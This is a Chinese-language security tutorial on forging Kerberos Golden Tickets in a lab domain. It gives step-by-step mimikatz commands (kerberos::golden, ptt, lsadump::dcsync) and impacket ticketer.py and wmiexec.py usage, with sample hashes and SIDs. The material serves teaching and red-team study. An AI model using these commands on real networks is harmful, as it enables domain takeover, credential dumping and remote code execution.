黄金票据的制作与使用

  • A+
所属分类:安全文章

原理


黄金票据的原理就是用krbtgt的hash来伪造TGT的内容。更改里面的client参数与session key等。让TGS以为我就是那个我所声称的人,当然我一般会声称自己是administrator。第四步主要是来验证客户端的身份。


所谓的黄金票据其实就是kerberos认证的第二个阶段中的tgs的ticket也就是TGT。这个ticket相当于对请求端的一个身份认证的凭据,如果可以伪造这个ticket,那么就可以伪造任意身份,而黄金票据就是一个实现方式。


kerberos协议原理请参考:NTML认证与kerberos认证与PAC相关知识。


前置条件与操作步骤


前置条件


1.krbtgt的hash
2.本地管理员权限
3.域的sid(普通用户的sid除去最后三位就是域的sid)
4.域内任意用户的本地管理员权限


操作步骤

清空已有票据

kerberos::purge

制作黄金票据

kerberos::golden/user:Administrator/domain:test.com/sid:S-1-5-21-4166986646-4168497534-2490551922 /krbtgt:308390d1ca7addf22c84ba9f1d26cbe4 /ticket:1.kirbi

加载黄金票据

kerberos::ptt 1.kirbi

检测成果

lsadump::dcsync /domain:test.com /user:krbtgt


实现


使用mimikatz实现

mimikatz下载地址:https://github.com/gentilkiwi/mimikatz/releases
假设我们已经通过某种方式获得了域控的krbtgt的hash为d8d2ad72a119a8d418703f7a16580af6。


1.开启一个管理员权限的cmd窗口

黄金票据的制作与使用


2.使用mimikatz

第一步:提权&清空票据

klist purge #在cmd中执行

黄金票据的制作与使用

privilege::Debug
kerberos::purge
kerberos::list

黄金票据的制作与使用

第二步:制作黄金票据

获得域sid:S-1-5-21-3763276348-88739081-2848684050-1110

黄金票据的制作与使用


执行命令:
kerberos::golden /user:Administrator /domain:test.com /sid:S-1-5-21-3763276348-88739081-2848684050 /krbtgt:d8d2ad72a119a8d418703f7a16580af6 /ticket:1.kirbi

黄金票据的制作与使用

执行结束后,会在运行目录生成一个1.kirbi的文件。

黄金票据的制作与使用

第三步:使用黄金票据

这时候我们先看看能不能使用dcsync命令,这个命令是只有域控权限才能使用的,作用是导出域内所有用户的账号密码。当然结果肯定是失败的:

黄金票据的制作与使用


因为我们并没有域控的“身份证”也就是tgt。

这时候我们将刚制作好的伪造的tgt导入系统并进行测试:
kerberos::ptt 1.kirbi
lsadump::dcsync /domain:test.com /user:krbtgt

黄金票据的制作与使用

遇到的一些坑

做完票据后执行lsadump::dcsync /domain:test.com /user:krbtgt会报错。后来研究了很久才发现,只要稍等几分钟然后测试执行那个命令就会成功,或者退出mimikatz再进去就可以成功,原理我也不知道。

这种票据只会存在管理员权限的命令行窗口中,如果这时候换一个命令行窗口执行,就会发现没有这个凭证。

黄金票据的制作与使用

利用impacket实现

原理跟利用mimikatz一样,只是利用的工具不一样而已。

实现

第一步:打开管理员权限的命令行窗口并清空票据

黄金票据的制作与使用

第二步:制作ccache文件

python ticketer.py -nthash d8d2ad72a119a8d418703f7a16580af6 -domain-sid S-1-5-21-3763276348-88739081-2848684050 -domain test.com administrator

第三步:更改环境变量

set KRB5CCNAME=C:UserszhangsanDesktopimpacket-examples-windows-masteradministrator.ccache

第四步:验证成果

python wmiexec.py test.com/[email protected] -k -no-pass

黄金票据的制作与使用


总结


利用impacket来进行票据的制作有一定的局限性,制作完票据后在klist命令下是看不到缓存的。也没办法使用net use \ipadmin$ 来建立管道连接。但可以使用其自带的工具在在一定的命令格式下进行远控指定主机。命令格式为:

xxxx.py domain/[email protected] -k -no-pass

这里的domain必须跟systeminfo中的domain的值一样。
hostname 可以通过net view命令,或者nbtstat -A ip,或者ping -a ip来确定,推荐ping -a命令。

黄金票据的制作与使用

因为test为域名,所以yukong就为主机名。

FQDN是什么?
FQDN是完全合格域名/全程域名缩写,Fully Qualified Domain Name,即是域名,访问时将由DNS进行解析,得到IP。FQDN = Hostname + DomainName,举个例子,一个公司申请了域名comp.com,这时候有一台主机名为web,则可以使用web.comp.com得到这个主机IP。若还有两台提供邮件和OA服务的主机cmail,oa,则这时候可以用以下FQDN:
cmail.comp.com
oa.comp.com

impacket的更多用法请看下面这篇文章:
https://blog.csdn.net/qq_41874930/article/details/108253531


作者:Shanfenglan7,一个刚步入安全行业的人,乐意分享技术,乐意接受批评,乐意交流。希望自己能把抽象的技术用尽量具体的语言讲出来,让每个人都能看懂,并觉得简单。最后希望大家可以关注我的博客:shanfenglan.blog.csdn.net



扫描关注乌云安全

黄金票据的制作与使用


觉得不错点个“赞”、“在看”哦黄金票据的制作与使用

本文始发于微信公众号(乌雲安全):黄金票据的制作与使用

发表评论

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: